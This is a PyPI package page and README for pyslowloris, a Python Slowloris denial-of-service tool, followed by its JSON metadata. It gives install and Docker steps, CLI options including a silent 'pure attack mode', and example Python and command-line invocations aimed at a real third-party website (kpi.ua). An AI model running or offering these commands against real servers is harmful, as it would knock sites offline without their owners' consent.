pyslowloris


Namepyslowloris JSON
Version 2.0.2 PyPI version JSON
download
home_pagehttps://github.com/maxkrivich/SlowLoris
SummaryAsynchronous Python implementation of SlowLoris DoS attack
upload_time2023-07-25 12:47:19
maintainer
docs_urlNone
authorMaxim Krivich
requires_python>=3.8,<4.0
licenseMIT
keywords slowloris dos slowloris apache dos-attacks denial-of-service http exploit dos-tool hacker-scripts hacking-tool hacking vulnerability slow-requests cybersecurity cyber-security information-security security
VCS
bugtrack_url
requirements No requirements were recorded.
Travis-CI No Travis.
coveralls test coverage No coveralls.
            # PySlowLoris
[![Gitter chat](https://badges.gitter.im/gitterHQ/gitter.png)](https://gitter.im/SlowLoris-dev/Lobby)
[![License](https://img.shields.io/badge/license-MIT%20license-orange.svg)](https://github.com/maxkrivich/SlowLoris/blob/master/LICENSE)
[![Python](https://img.shields.io/badge/python-3.8-blue.svg)](https://github.com/maxkrivich/SlowLoris)
[![Build Status](https://travis-ci.org/maxkrivich/SlowLoris.svg?branch=master)](https://travis-ci.org/maxkrivich/SlowLoris)
[![PyPI version](https://badge.fury.io/py/pyslowloris.svg)](https://badge.fury.io/py/pyslowloris)

PySlowLoris is a tool for testing if your web server is vulnerable to slow-requests kind of attacks. The module is based on python-trio for Asynchronous I/O and poetry for dependency management. The idea behind this approach to create as many connections with a server as possible and keep them alive and send trash headers through the connection. Please DO NOT use this in the real attacks on the servers.

More information about the attack you can find [here].

### Installation

#### PyPi

For installation through the PyPI:

```sh
$ pip install pyslowloris==2.0.1
```
This method is prefered for installation of the most recent stable release.


#### Source-code

For installation through the source-code for local development:
```sh
$ git clone https://github.com/[username]/SlowLoris.git
$ cd SlowLoris
$ pip install poetry
$ pyenv install 3.8.3
$ pyenv local 3.8.3
$ poetry env use 3.8.3
```

### Basic Usage

Available command list:

```sh
$ slowloris --help
usage: slowloris [-h] -u URL [-c CONNECTION_COUNT] [-s]

Asynchronous Python implementation of SlowLoris attack

optional arguments:
  -h, --help            show this help message and exit
  -u URL, --url URL     Link to a web server (http://google.com) - str
  -c CONNECTION_COUNT, --connection-count CONNECTION_COUNT
                        Count of active connections (default value is 247) - int
  -s, --silent          Ignore all of the errors [pure attack mode] - bool
```

### Docker usage

#### Download image from Docker Hub

Pull the image from [Docker Hub](https://hub.docker.com/r/maxkrivich/pyslowloris/) and run a container:

```bash
$ docker pull maxkrivich/pyslowloris
$ docker run --rm -it maxkrivich/pyslowloris [-h] [-u URL] [-c CONNECTION_COUNT] [-s SILENT]
```

#### Build image from source-code

Also you can build image from [Dockerfile](https://github.com/maxkrivich/SlowLoris/blob/master/Dockerfile) and run a container:

```bash
$ docker build -t pyslowloris .
$ docker run --rm -it pyslowloris [-h] [-u URL] [-c CONNECTION_COUNT] [-s SILENT]
```

**Note:** *Don't forget about 'sudo'!*



### Example of usage

#### How to use module through Python API
Here is an example of usage

```python
from pyslowloris import HostAddress, SlowLorisAttack

url = HostAddress.from_url("http://kpi.ua")
connections_count = 100

loris = SlowLorisAttack(url, connections_count, silent=True)
loris.start()
```

#### How to use module via CLI

The following command helps to use module from command line

```sh
$ slowloris -u http://kpi.ua/ -c 100 -s
```
###### stop execution: Ctrl + C



### Testing

#### Testing with real apache server

```bash
$ docker-compose up web_server -d
$ .....
```

#### Module-tests
```bash
$ make pytest
```

### Bugs, issues and contributing

If you find [bugs] or have [suggestions] about improving the module, don't hesitate to contact me.

### License

This project is licensed under the MIT License - see the [LICENSE](https://github.com/maxkrivich/SlowLoris/blob/master/LICENSE) file for details

Copyright (c) 2017-2020 Maxim Krivich

[here]: <https://en.wikipedia.org/wiki/Slowloris_(computer_security)>
[bugs]: <https://github.com/maxkrivich/SlowLoris/issues>
[suggestions]: <https://github.com/maxkrivich/SlowLoris/issues>

            

Raw data

            {
    "_id": null,
    "home_page": "https://github.com/maxkrivich/SlowLoris",
    "name": "pyslowloris",
    "maintainer": "",
    "docs_url": null,
    "requires_python": ">=3.8,<4.0",
    "maintainer_email": "",
    "keywords": "SlowLoris,dos,slowloris,apache,dos-attacks,denial-of-service,http,exploit,dos-tool,hacker-scripts,hacking-tool,hacking,vulnerability,slow-requests,cybersecurity,cyber-security,information-security,security",
    "author": "Maxim Krivich",
    "author_email": "maxkrivich@gmail.com",
    "download_url": "https://files.pythonhosted.org/packages/58/0a/8b747b7be929be634547d89dc016889908548271e40f000fd8d5ec6d0e44/pyslowloris-2.0.2.tar.gz",
    "platform": null,
    "description": "# PySlowLoris\n[![Gitter chat](https://badges.gitter.im/gitterHQ/gitter.png)](https://gitter.im/SlowLoris-dev/Lobby)\n[![License](https://img.shields.io/badge/license-MIT%20license-orange.svg)](https://github.com/maxkrivich/SlowLoris/blob/master/LICENSE)\n[![Python](https://img.shields.io/badge/python-3.8-blue.svg)](https://github.com/maxkrivich/SlowLoris)\n[![Build Status](https://travis-ci.org/maxkrivich/SlowLoris.svg?branch=master)](https://travis-ci.org/maxkrivich/SlowLoris)\n[![PyPI version](https://badge.fury.io/py/pyslowloris.svg)](https://badge.fury.io/py/pyslowloris)\n\nPySlowLoris is a tool for testing if your web server is vulnerable to slow-requests kind of attacks. The module is based on python-trio for Asynchronous I/O and poetry for dependency management. The idea behind this approach to create as many connections with a server as possible and keep them alive and send trash headers through the connection. Please DO NOT use this in the real attacks on the servers.\n\nMore information about the attack you can find [here].\n\n### Installation\n\n#### PyPi\n\nFor installation through the PyPI:\n\n```sh\n$ pip install pyslowloris==2.0.1\n```\nThis method is prefered for installation of the most recent stable release.\n\n\n#### Source-code\n\nFor installation through the source-code for local development:\n```sh\n$ git clone https://github.com/[username]/SlowLoris.git\n$ cd SlowLoris\n$ pip install poetry\n$ pyenv install 3.8.3\n$ pyenv local 3.8.3\n$ poetry env use 3.8.3\n```\n\n### Basic Usage\n\nAvailable command list:\n\n```sh\n$ slowloris --help\nusage: slowloris [-h] -u URL [-c CONNECTION_COUNT] [-s]\n\nAsynchronous Python implementation of SlowLoris attack\n\noptional arguments:\n  -h, --help            show this help message and exit\n  -u URL, --url URL     Link to a web server (http://google.com) - str\n  -c CONNECTION_COUNT, --connection-count CONNECTION_COUNT\n                        Count of active connections (default value is 247) - int\n  -s, --silent          Ignore all of the errors [pure attack mode] - bool\n```\n\n### Docker usage\n\n#### Download image from Docker Hub\n\nPull the image from [Docker Hub](https://hub.docker.com/r/maxkrivich/pyslowloris/) and run a container:\n\n```bash\n$ docker pull maxkrivich/pyslowloris\n$ docker run --rm -it maxkrivich/pyslowloris [-h] [-u URL] [-c CONNECTION_COUNT] [-s SILENT]\n```\n\n#### Build image from source-code\n\nAlso you can build image from [Dockerfile](https://github.com/maxkrivich/SlowLoris/blob/master/Dockerfile) and run a container:\n\n```bash\n$ docker build -t pyslowloris .\n$ docker run --rm -it pyslowloris [-h] [-u URL] [-c CONNECTION_COUNT] [-s SILENT]\n```\n\n**Note:** *Don't forget about 'sudo'!*\n\n\n\n### Example of usage\n\n#### How to use module through Python API\nHere is an example of usage\n\n```python\nfrom pyslowloris import HostAddress, SlowLorisAttack\n\nurl = HostAddress.from_url(\"http://kpi.ua\")\nconnections_count = 100\n\nloris = SlowLorisAttack(url, connections_count, silent=True)\nloris.start()\n```\n\n#### How to use module via CLI\n\nThe following command helps to use module from command line\n\n```sh\n$ slowloris -u http://kpi.ua/ -c 100 -s\n```\n###### stop execution: Ctrl + C\n\n\n\n### Testing\n\n#### Testing with real apache server\n\n```bash\n$ docker-compose up web_server -d\n$ .....\n```\n\n#### Module-tests\n```bash\n$ make pytest\n```\n\n### Bugs, issues and contributing\n\nIf you find [bugs] or have [suggestions] about improving the module, don't hesitate to contact me.\n\n### License\n\nThis project is licensed under the MIT License - see the [LICENSE](https://github.com/maxkrivich/SlowLoris/blob/master/LICENSE) file for details\n\nCopyright (c) 2017-2020 Maxim Krivich\n\n[here]: <https://en.wikipedia.org/wiki/Slowloris_(computer_security)>\n[bugs]: <https://github.com/maxkrivich/SlowLoris/issues>\n[suggestions]: <https://github.com/maxkrivich/SlowLoris/issues>\n",
    "bugtrack_url": null,
    "license": "MIT",
    "summary": "Asynchronous Python implementation of SlowLoris DoS attack",
    "version": "2.0.2",
    "project_urls": {
        "Bug Tracker": "https://github.com/maxkrivich/SlowLoris/issues",
        "Homepage": "https://github.com/maxkrivich/SlowLoris",
        "Repository": "https://github.com/maxkrivich/SlowLoris"
    },
    "split_keywords": [
        "slowloris",
        "dos",
        "slowloris",
        "apache",
        "dos-attacks",
        "denial-of-service",
        "http",
        "exploit",
        "dos-tool",
        "hacker-scripts",
        "hacking-tool",
        "hacking",
        "vulnerability",
        "slow-requests",
        "cybersecurity",
        "cyber-security",
        "information-security",
        "security"
    ],
    "urls": [
        {
            "comment_text": "",
            "digests": {
                "blake2b_256": "5000764735c35420c7a7ac6c3d7c96b19db0226711cd13eb486989444b0f7a45",
                "md5": "7f93095a7455f63c622f6b094563438b",
                "sha256": "b54cf6eed620132c6eac2824fe68099fe515b12603a34b1caf97ea7a616900eb"
            },
            "downloads": -1,
            "filename": "pyslowloris-2.0.2-py3-none-any.whl",
            "has_sig": false,
            "md5_digest": "7f93095a7455f63c622f6b094563438b",
            "packagetype": "bdist_wheel",
            "python_version": "py3",
            "requires_python": ">=3.8,<4.0",
            "size": 13872,
            "upload_time": "2023-07-25T12:47:17",
            "upload_time_iso_8601": "2023-07-25T12:47:17.302381Z",
            "url": "https://files.pythonhosted.org/packages/50/00/764735c35420c7a7ac6c3d7c96b19db0226711cd13eb486989444b0f7a45/pyslowloris-2.0.2-py3-none-any.whl",
            "yanked": false,
            "yanked_reason": null
        },
        {
            "comment_text": "",
            "digests": {
                "blake2b_256": "580a8b747b7be929be634547d89dc016889908548271e40f000fd8d5ec6d0e44",
                "md5": "0f45e2ce9353b6e92b9091bcb664b8bb",
                "sha256": "213385a69a87065cc27c46cd0555cb51e84f792009eac26bcb8708a3bf43239c"
            },
            "downloads": -1,
            "filename": "pyslowloris-2.0.2.tar.gz",
            "has_sig": false,
            "md5_digest": "0f45e2ce9353b6e92b9091bcb664b8bb",
            "packagetype": "sdist",
            "python_version": "source",
            "requires_python": ">=3.8,<4.0",
            "size": 8576,
            "upload_time": "2023-07-25T12:47:19",
            "upload_time_iso_8601": "2023-07-25T12:47:19.695475Z",
            "url": "https://files.pythonhosted.org/packages/58/0a/8b747b7be929be634547d89dc016889908548271e40f000fd8d5ec6d0e44/pyslowloris-2.0.2.tar.gz",
            "yanked": false,
            "yanked_reason": null
        }
    ],
    "upload_time": "2023-07-25 12:47:19",
    "github": true,
    "gitlab": false,
    "bitbucket": false,
    "codeberg": false,
    "github_user": "maxkrivich",
    "github_project": "SlowLoris",
    "travis_ci": false,
    "coveralls": false,
    "github_actions": true,
    "lcname": "pyslowloris"
}
        
Elapsed time: 0.09208s